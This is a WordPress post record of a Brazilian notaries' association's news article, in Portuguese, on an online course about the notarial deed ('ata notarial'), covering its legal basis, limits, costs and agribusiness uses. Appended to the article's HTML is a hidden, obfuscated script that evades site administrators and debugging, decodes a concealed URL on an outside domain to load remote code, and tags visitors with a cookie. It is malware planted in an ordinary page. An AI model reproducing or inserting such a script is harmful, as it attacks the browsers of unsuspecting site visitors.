{"id":46514,"date":"2025-08-22T22:25:52","date_gmt":"2025-08-23T02:25:52","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=46514"},"modified":"2026-04-27T06:34:39","modified_gmt":"2026-04-27T10:34:39","slug":"anoreg-mt-e-emnor-promovem-curso-sobre-ata-notarial","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/anoreg-mt-e-emnor-promovem-curso-sobre-ata-notarial\/","title":{"rendered":"Anoreg-MT e Emnor promovem curso sobre ata notarial"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-46536 \" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/IMG-20250822-WA0080.jpg\" alt=\"\" width=\"746\" height=\"324\" srcset=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/IMG-20250822-WA0080-300x130.jpg 300w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/IMG-20250822-WA0080-1024x445.jpg 1024w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/IMG-20250822-WA0080-768x334.jpg 768w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/IMG-20250822-WA0080.jpg 1365w\" sizes=\"auto, (max-width: 746px) 100vw, 746px\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Estado de Mato Grosso (Anoreg-MT) e a Escola Mato-grossense de Not\u00e1rios e Registradores (Emnor) promoveram na tarde desta sexta-feira (22 de agosto) o curso \u201cA Ata Notarial e suas potencialidades perante a extrajudicializa\u00e7\u00e3o: aspectos jur\u00eddicos e foco em situa\u00e7\u00f5es pr\u00e1ticas voltadas ao Agroneg\u00f3cio\u201d. O evento foi totalmente virtual e ministrado pelos tabeli\u00e3es de notas Marcelo Farias Machado e Anny Caroline Sloboda Anese.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-46530  alignleft\" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/2-1.png\" alt=\"\" width=\"298\" height=\"273\" \/><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Marcelo Machado iniciou a capacita\u00e7\u00e3o destacando que a ata notarial \u00e9 um dos instrumentos mais relevantes da atividade notarial, dotada de for\u00e7a probat\u00f3ria especial em raz\u00e3o da f\u00e9 p\u00fablica conferida ao tabeli\u00e3o de notas. Trata-se de um documento que autentica fatos, registra situa\u00e7\u00f5es e confere seguran\u00e7a jur\u00eddica aos cidad\u00e3os.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Ele fez um breve hist\u00f3rico, enfatizando que a origem da fun\u00e7\u00e3o notarial remonta a passagens b\u00edblicas, como em Deuteron\u00f4mio 16:18, onde se mencionam ju\u00edzes e escribas designados para cada tribo. Na Roma Antiga, agentes p\u00fablicos com fun\u00e7\u00f5es similares aos not\u00e1rios j\u00e1 atuavam, sendo denominados <em>tabellios, notarius, amanuensis, argentarius<\/em> e <em>tabullarius<\/em>.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0No Brasil, informou que muitos historiadores concordam que a primeira Ata Notarial formalizada foi a Carta de Pero Vaz de Caminha ao Rei de Portugal, em 1500, documento que narrou o descobrimento do pa\u00eds e descreveu aspectos dos povos ind\u00edgenas, da terra e da natureza local.<\/p>\n<p style=\"text-align: justify;\"><strong>Fun\u00e7\u00e3o t\u00edpica notarial<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Marcelo Machado explanou que a Lei n\u00ba 8.935\/1994, que regulamentou o artigo 236 da Constitui\u00e7\u00e3o Federal, atribui aos not\u00e1rios a fun\u00e7\u00e3o de autenticar fatos (art. 6\u00ba, III) e, de forma exclusiva aos tabeli\u00e3es de notas, a compet\u00eancia para lavrar atas notariais (art. 7\u00ba, III). Segundo ele, a ata notarial \u00e9 o instrumento que traduz a miss\u00e3o essencial do tabeli\u00e3o: dar f\u00e9 p\u00fablica, conferir autenticidade e registrar a realidade de forma imparcial.<\/p>\n<p style=\"text-align: justify;\"><strong>Compet\u00eancia territorial do tabeli\u00e3o<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O palestrante enfatizou que a mesma lei, no art. 8\u00ba, estabelece que \u00e9 livre a escolha do tabeli\u00e3o de notas, independentemente do domic\u00edlio das partes ou do local da situa\u00e7\u00e3o do bem objeto do neg\u00f3cio. \u201cContudo, o art. 9\u00ba disp\u00f5e que o tabeli\u00e3o n\u00e3o pode praticar atos fora do munic\u00edpio para o qual recebeu delega\u00e7\u00e3o\u201d, consignou.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Segundo Marcelo Machado, com o avan\u00e7o tecnol\u00f3gico, o Provimento n\u00ba 149 do Conselho Nacional de Justi\u00e7a (CNJ) disciplinou a lavratura das atas notariais eletr\u00f4nicas, permitindo que possam ser realizadas de forma remota, por meio do e-Notariado, com videoconfer\u00eancia e assinaturas digitais das partes, observadas as regras de compet\u00eancia territorial.<\/p>\n<p style=\"text-align: justify;\"><strong>Conceito e natureza jur\u00eddica<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Para Marcelo Machado, a ata notarial \u00e9 definida como um ato complexo realizado pelo tabeli\u00e3o em seu livro de notas (ato protocolar), a pedido de pessoa interessada, seguindo o princ\u00edpio da roga\u00e7\u00e3o ou inst\u00e2ncia. Trata-se de um instrumento dotado de f\u00e9 p\u00fablica e for\u00e7a de prova pr\u00e9-constitu\u00edda, no qual o not\u00e1rio descreve de forma segura e precisa os fatos constatados, utilizando seus sentidos e podendo materializar o conte\u00fado por meio de imagens ou v\u00eddeos, sem emitir ju\u00edzo de valor.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Sua natureza jur\u00eddica \u00e9 classificada pela melhor doutrina como ato-fato jur\u00eddico, pois constata fatos ou atos sem criar um neg\u00f3cio jur\u00eddico. N\u00e3o depende de conjuga\u00e7\u00e3o de vontades de sujeitos de direitos, podendo registrar acontecimentos volunt\u00e1rios ou involunt\u00e1rios com repercuss\u00e3o no mundo jur\u00eddico.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><strong>Objeto da constata\u00e7\u00e3o<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0 <\/strong>O objeto da ata notarial pode ser um fato da natureza, independente da vontade humana, ou uma atividade volitiva humana presente apenas no mundo dos fatos, que ingressa no jur\u00eddico por meio do ato notarial. Fatos il\u00edcitos tamb\u00e9m podem ser objeto de constata\u00e7\u00e3o, com o fim de constituir prova.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Conforme o expositor, a ata notarial \u00e9 utilizada por exclus\u00e3o \u00e0 escritura p\u00fablica: quando h\u00e1 declara\u00e7\u00e3o de vontades, imp\u00f5e-se o uso desta \u00faltima.<\/p>\n<p style=\"text-align: justify;\"><strong>Previs\u00e3o normativa<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A ata notarial tem previs\u00e3o legal no C\u00f3digo de Processo Civil (CPC). A Lei n\u00ba 5.869\/1973 (revogada) j\u00e1 previa no Art. 364 que o documento p\u00fablico faz prova n\u00e3o s\u00f3 da forma\u00e7\u00e3o, mas tamb\u00e9m dos fatos ocorridos na presen\u00e7a do escriv\u00e3o, tabeli\u00e3o ou funcion\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O CPC atual (Lei n\u00ba 13.105\/2015) disp\u00f5e na Se\u00e7\u00e3o III: <em>Art. 384<\/em><em>: A exist\u00eancia e o modo de existir de algum fato podem ser atestados ou documentados, a requerimento do interessado, mediante ata lavrada por tabeli\u00e3o. Par\u00e1grafo \u00fanico: Dados representados por imagem ou som gravados em arquivos eletr\u00f4nicos poder\u00e3o constar da ata notarial.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>\u00a0<\/em><strong>Caracter\u00edsticas da lavratura<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A lavratura da ata notarial segue caracter\u00edsticas essenciais para garantir sua validade e efic\u00e1cia: Forma p\u00fablica (digitada ou manuscrita em idioma nacional); Ato protocolar (lavrada em livro de notas); Data, hor\u00e1rio e local (da constata\u00e7\u00e3o); Narra\u00e7\u00e3o imparcial (dos fatos, sem ju\u00edzo de valor); Inexist\u00eancia de conjuga\u00e7\u00e3o de vontades (para sua forma\u00e7\u00e3o); Unicidade do ato (como regra, sem interrup\u00e7\u00f5es; mitigada quando o fato exige diversidade de dias, hor\u00e1rios ou locais, com necessidade de aperfei\u00e7oamento temporal ou m\u00faltiplas constata\u00e7\u00f5es); Veracidade (das informa\u00e7\u00f5es relatadas, por meio dos sentidos do not\u00e1rio ou preposto); e Inexigibilidade de expertise (do not\u00e1rio sobre o assunto, podendo utilizar declara\u00e7\u00f5es de profissionais t\u00e9cnicos durante averigua\u00e7\u00f5es).<\/p>\n<p style=\"text-align: justify;\"><strong>Requerente e requisitos<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A roga\u00e7\u00e3o pelo interessado \u00e9 livre, sem forma estabelecida por lei, podendo ser pessoal, por preposto, oral, escrito, eletr\u00f4nico ou em papel. Recomenda-se formalidade para assentamento da identifica\u00e7\u00e3o do solicitante e delimita\u00e7\u00e3o do pedido, vinculando a atua\u00e7\u00e3o do not\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Quanto \u00e0 capacidade, analisa-se a de manifesta\u00e7\u00e3o de vontade do requerente, sem os rigores da representa\u00e7\u00e3o e capacidade dos atos negociais. \u00c9 necess\u00e1ria a identifica\u00e7\u00e3o pessoal e qualifica\u00e7\u00e3o do solicitante e representante (procurador ou administrador de pessoa jur\u00eddica).<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O Provimento 149 do CNJ prev\u00ea no Art. 108: <em>O pedido de lavratura de ata notarial, realizado por um dos pais ou respons\u00e1vel legal, envolvendo dados pessoais de sujeito menor de 12 anos, \u00e9 considerado consentimento espec\u00edfico e em destaque para o tratamento dos dados da crian\u00e7a.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><strong>Efeitos da ata notarial<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0 <\/strong>Na avalia\u00e7\u00e3o de Marcelo Machado, a ata produz efeitos mesmo sem aquiesc\u00eancia do solicitante, vinculando o not\u00e1rio desde o in\u00edcio da constata\u00e7\u00e3o. O resultado negativo ou falta de assinatura n\u00e3o impede a produ\u00e7\u00e3o de efeitos jur\u00eddicos, pois o fato ocorreu e foi levado ao livro de notas.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201cEmbora a assinatura do solicitante seja necess\u00e1ria ap\u00f3s formaliza\u00e7\u00e3o, doutrina e jurisprud\u00eancia admitem que n\u00e3o \u00e9 imprescind\u00edvel para constituir prova em processo judicial, desde que a roga\u00e7\u00e3o tenha sido atendida. Contudo, sem assinatura, a ata n\u00e3o serve para ingresso em procedimentos na serventia registral imobili\u00e1ria, conforme Art. 215 do C\u00f3digo Civil\u201d, apontou.<\/p>\n<p style=\"text-align: justify;\"><strong>Aplica\u00e7\u00f5es espec\u00edficas: usucapi\u00e3o<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Para fins de usucapi\u00e3o extrajudicial, a Lei n\u00ba 6.015\/1973 (com reda\u00e7\u00e3o da Lei n\u00ba 13.465\/2017) prev\u00ea no Art. 216-A: <em>Sem preju\u00edzo da via jurisdicional, \u00e9 admitido o pedido de reconhecimento extrajudicial de usucapi\u00e3o, que ser\u00e1 processado diretamente perante o cart\u00f3rio do registro de im\u00f3veis da comarca em que estiver situado o im\u00f3vel usucapiendo, a requerimento do interessado, representado por advogado, instru\u00eddo com: I &#8211; ata notarial lavrada pelo tabeli\u00e3o, atestando o tempo de posse do requerente e de seus antecessores, conforme o caso e suas circunst\u00e2ncias, aplicando-se o disposto no art. 384 da Lei n<u><sup>o<\/sup><\/u>\u00a013.105, de 16 de mar\u00e7o de 2015 (C\u00f3digo de Processo Civil).<\/em><\/p>\n<p style=\"text-align: justify;\"><em>\u00a0 \u00a0 \u00a0<\/em>O Provimento 149 do CNJ detalha no Art. 401: <em>O requerimento ser\u00e1 assinado por advogado ou por defensor p\u00fablico constitu\u00eddo pelo requerente e instru\u00eddo com os seguintes documentos: I \u2014 ata notarial com a qualifica\u00e7\u00e3o, o endere\u00e7o eletr\u00f4nico, o domic\u00edlio e a resid\u00eancia do requerente e o respectivo c\u00f4njuge ou companheiro, se houver, e do titular do im\u00f3vel lan\u00e7ado na matr\u00edcula objeto da usucapi\u00e3o que ateste: a) a descri\u00e7\u00e3o do im\u00f3vel conforme consta na matr\u00edcula do registro em caso de bem individualizado ou a descri\u00e7\u00e3o da \u00e1rea em caso de n\u00e3o individualiza\u00e7\u00e3o, devendo ainda constar as caracter\u00edsticas do im\u00f3vel, tais como a exist\u00eancia de edifica\u00e7\u00e3o, de benfeitoria ou de qualquer acess\u00e3o no im\u00f3vel usucapiendo; b) o tempo e as caracter\u00edsticas da posse do requerente e de seus antecessores; c) a forma de aquisi\u00e7\u00e3o da posse do im\u00f3vel usucapiendo pela parte requerente; d) a modalidade de usucapi\u00e3o pretendida e sua base legal ou constitucional; e) o n\u00famero de im\u00f3veis atingidos pela pretens\u00e3o aquisitiva e a localiza\u00e7\u00e3o: se est\u00e3o situados em uma ou em mais circunscri\u00e7\u00f5es; f) o valor do im\u00f3vel; e g) outras informa\u00e7\u00f5es que o tabeli\u00e3o de notas considere necess\u00e1rias \u00e0 instru\u00e7\u00e3o do procedimento, tais como depoimentos de testemunhas ou partes confrontantes.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><strong>Aplica\u00e7\u00f5es espec\u00edficas: adjudica\u00e7\u00e3o compuls\u00f3ria<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0 Para adjudica\u00e7\u00e3o compuls\u00f3ria extrajudicial, a Lei n\u00ba 6.015\/1973 (com reda\u00e7\u00e3o da Lei n\u00ba 14.382\/2022) disp\u00f5e no Art. 216-B: <em>Sem preju\u00edzo da via jurisdicional, a adjudica\u00e7\u00e3o compuls\u00f3ria de im\u00f3vel objeto de promessa de venda ou de cess\u00e3o poder\u00e1 ser efetivada extrajudicialmente no servi\u00e7o de registro de im\u00f3veis da situa\u00e7\u00e3o do im\u00f3vel, nos termos deste artigo. \u00a7 1\u00ba S\u00e3o legitimados a requerer a adjudica\u00e7\u00e3o o promitente comprador ou qualquer dos seus cession\u00e1rios ou promitentes cession\u00e1rios, ou seus sucessores, bem como o promitente vendedor, representados por advogado, e o pedido dever\u00e1 ser instru\u00eddo com os seguintes documentos: (&#8230;) III &#8211; ata notarial lavrada por tabeli\u00e3o de notas da qual constem a identifica\u00e7\u00e3o do im\u00f3vel, o nome e a qualifica\u00e7\u00e3o do promitente comprador ou de seus sucessores constantes do contrato de promessa, a prova do pagamento do respectivo pre\u00e7o e da caracteriza\u00e7\u00e3o do inadimplemento da obriga\u00e7\u00e3o de outorgar ou receber o t\u00edtulo de propriedade.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>\u00a0 \u00a0 \u00a0<\/em>Por fim, Marcelo Machado mencionou a import\u00e2ncia da ata notarial para fins de quita\u00e7\u00e3o ou implemento de condi\u00e7\u00f5es, bem como de arremata\u00e7\u00e3o em execu\u00e7\u00e3o extrajudicial de hipoteca.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-46535  alignleft\" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/3-1.png\" alt=\"\" width=\"298\" height=\"221\" srcset=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/3-1-300x222.png 300w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/08\/3-1.png 416w\" sizes=\"auto, (max-width: 298px) 100vw, 298px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0J\u00e1 Anny Caroline frisou que a ata notarial, instrumento dotado de f\u00e9 p\u00fablica, tem se consolidado como uma ferramenta essencial para constatar fatos, coisas, pessoas ou situa\u00e7\u00f5es, a fim de comprovar sua exist\u00eancia ou estado, conforme previsto no artigo 384 do CPC. Utilizada a pedido de partes interessadas, ela serve principalmente para pr\u00e9-constituir prova, destacando-se pela imparcialidade e neutralidade do tabeli\u00e3o.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Ela explicou que, de acordo com as Leis 8.935\/94 (artigos 6\u00ba e 7\u00ba, III) e 13.105\/15 (artigo 384), a ata notarial pode documentar fatos observados diretamente pelos sentidos do tabeli\u00e3o, incluindo dados representados por imagens ou sons gravados em arquivos eletr\u00f4nicos. O Enunciado n\u00ba 70 da I Jornada de Direito Notarial e Registral refor\u00e7a que a prova escrita da celebra\u00e7\u00e3o de um neg\u00f3cio jur\u00eddico pode ser complementada por ata notarial que reproduza di\u00e1logos por meio de aplicativos e redes sociais, nos termos do artigo 227, par\u00e1grafo \u00fanico, do C\u00f3digo Civil.<\/p>\n<p style=\"text-align: justify;\"><strong>Limites da ata notarial<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Anny Caroline indagou quais s\u00e3o os limites da ata notarial, informando que incluem a constata\u00e7\u00e3o de estado de coisas e pessoas, baseando-se apenas no que o tabeli\u00e3o verifica com seus pr\u00f3prios sentidos, sem emitir opini\u00f5es, ju\u00edzos de valor ou conclus\u00f5es. \u201cA narrativa deve conter um fato ocorrido em determinado tempo, com in\u00edcio, meio e fim, mantendo-se declarat\u00f3ria e livre de modifica\u00e7\u00f5es ou interven\u00e7\u00f5es pelo tabeli\u00e3o\u201d, exaltou.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A palestrante tamb\u00e9m diferenciou ata notarial de escritura p\u00fablica. \u201cNa ata notarial, o tabeli\u00e3o percebe por seus sentidos os fatos e os descreve em um instrumento p\u00fablico; limita-se a constatar fatos e n\u00e3o pode intervir sobre eles, nem modific\u00e1-los; a natureza do ato \u00e9 declarat\u00f3ria e pode conter a narra\u00e7\u00e3o de il\u00edcito. Na escritura p\u00fablica, o tabeli\u00e3o d\u00e1 forma jur\u00eddica, legal e aut\u00eantica \u00e0 manifesta\u00e7\u00e3o da vontade, redigindo os instrumentos, conservando os originais e expedindo c\u00f3pias fidedignas; participa do ato, interpretando a vontade; a natureza do ato \u00e9 constitutiva (cria, extingue ou modifica direitos) e n\u00e3o pode ter objeto il\u00edcito\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Sobre o requerimento, Anny Caroline informou que deve haver qualifica\u00e7\u00e3o do requerente; objeto da constata\u00e7\u00e3o e a finalidade; se ser\u00e3o utilizados equipamentos tecnol\u00f3gicos e quem acompanhar\u00e1 a ata. Quanto \u00e0 sua reda\u00e7\u00e3o, explicou que \u00e9 preciso ser imparcial em rela\u00e7\u00e3o aos fatos e situa\u00e7\u00f5es presenciados; detalhista; bom observador; estar atento com os acontecimentos ao seu redor; ter excelente capacidade de express\u00e3o para fazer uma narrativa isenta, por\u00e9m, fidedigna\/vincula\u00e7\u00e3o \u00e0 verdade; e ter excelente dom\u00ednio da l\u00edngua portuguesa.<\/p>\n<p style=\"text-align: justify;\"><strong>Perspectivas sobre a ata notarial<\/strong><\/p>\n<p><strong>&#8211; Advogado<\/strong>: Central na estrutura, o advogado assegura a conserva\u00e7\u00e3o do fato e a prova pr\u00e9-constitu\u00edda qualificada, promovendo confian\u00e7a, rapidez e seguran\u00e7a no processo.<\/p>\n<p><strong>&#8211; Judici\u00e1rio<\/strong>: Serve como instrumento de autenticidade, dotado de f\u00e9 p\u00fablica, seguran\u00e7a e que assegura a veracidade dos fatos.<\/p>\n<p><strong>&#8211; Tabeli\u00e3o<\/strong>: Atua como figura imparcial, elaborando um ato complexo que \u00e9 um instrumento p\u00fablico e de baixa remunera\u00e7\u00e3o, mas com oportunidade de fideliza\u00e7\u00e3o do cliente.<\/p>\n<p><strong>&#8211; Cidad\u00e3o<\/strong>: Beneficia-se da comodidade, acessibilidade e economia de tempo, energia e recursos, al\u00e9m da publicidade do ato.<\/p>\n<p style=\"text-align: justify;\"><strong>Caracter\u00edsticas da ata notarial<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Anny Caroline tamb\u00e9m abordou as caracter\u00edsticas da ata notarial, ressaltando sua urg\u00eancia (ganha import\u00e2ncia como elemento de prova em situa\u00e7\u00f5es em que o fato pode perecer, servindo como meio de prova em processos judiciais; comodidade (pode ser realizada em qualquer dia ou hor\u00e1rio, conforme a necessidade do interessado); perpetuidade (fica eternamente arquivada em cart\u00f3rio, possibilitando a obten\u00e7\u00e3o de segunda via\/certid\u00e3o a qualquer tempo); composi\u00e7\u00e3o extrajudicial (em certas circunst\u00e2ncias, atua como instrumento para evitar demandas desnecess\u00e1rias junto ao Judici\u00e1rio); versatilidade (pode conter p\u00e1ginas da internet, imagens, mensagens de texto, liga\u00e7\u00f5es telef\u00f4nicas, reuni\u00f5es ou outros fatos presenciados pelo tabeli\u00e3o); acessibilidade (dispon\u00edvel em meios f\u00edsico e eletr\u00f4nico); economicidade (constitui prova de forma econ\u00f4mica, reduzindo custos de tempo, energia e recursos para as partes).<\/p>\n<p style=\"text-align: justify;\"><strong>Custos<\/strong><\/p>\n<p><strong>&#8211; Emolumentos + Dilig\u00eancia<\/strong>: Provento 49\/2024 &#8211; TIMT\/CGJ.<\/p>\n<p>&#8211; Sem conte\u00fado econ\u00f4mico: R$ 260,75.<\/p>\n<p>&#8211; Com conte\u00fado econ\u00f4mico: R$ 6.026,40.<\/p>\n<p><strong>&#8211; Custas Judiciais e Taxa Judici\u00e1ria + Dilig\u00eancia<\/strong>:<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong>&#8211; Nas causas de valor inestim\u00e1vel e nas de at\u00e9 R$ 47.134,15: R$ 471,31.<\/p>\n<p style=\"text-align: justify;\">&#8211; Nas causas com valor acima de R$ 47.134,15: 2% sobre o valor da causa, at\u00e9 o limite de R$ 100.206,66.<\/p>\n<p style=\"text-align: justify;\">&#8211; Art. 1\u00ba, \u00a7 2\u00ba &#8211; Sobre o valor que exceder R$ 350.000,00, incidir\u00e1 o percentual de 0,5% at\u00e9 o limite de R$ 20.000,00 (valor m\u00e1ximo da taxa judici\u00e1ria \u2013 Ex: Para 2 milh\u00f5es, o custo seria R$ 51.750,00).<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Por fim, Anny Caroline exemplificou situa\u00e7\u00f5es que podem ser objetos da ata notarial como teor de conversas de WhatsApp e E-mails (RHC 79.848 STJ); registro de in\u00edcio de queimada e medidas tomadas para conten\u00e7\u00e3o do fogo (crime de inc\u00eandio &#8211; PL 3517\/2024); medidas para registro de efeitos de situa\u00e7\u00e3o clim\u00e1tica adversa (informe t\u00e9cnico n\u00ba 341\/2023 Aprosoja); acompanhamento de classifica\u00e7\u00e3o de produto agr\u00edcola (soja, milho, etc); acompanhamento de coleta de amostra para envio a laborat\u00f3rio (adubo, semente, etc); presen\u00e7a de anomalia em soja e milho; condi\u00e7\u00f5es de estrada e de rede de energia el\u00e9trica; sinistro de m\u00e1quinas agr\u00edcolas; distrato de arrendamento\/comodato\/parceria agr\u00edcola; turba\u00e7\u00e3o de posse; demiss\u00f5es de colaboradores; reuni\u00f5es e entrega de EPI; divisas de propriedade rurais; constata\u00e7\u00e3o de produtividade e impenhorabilidade.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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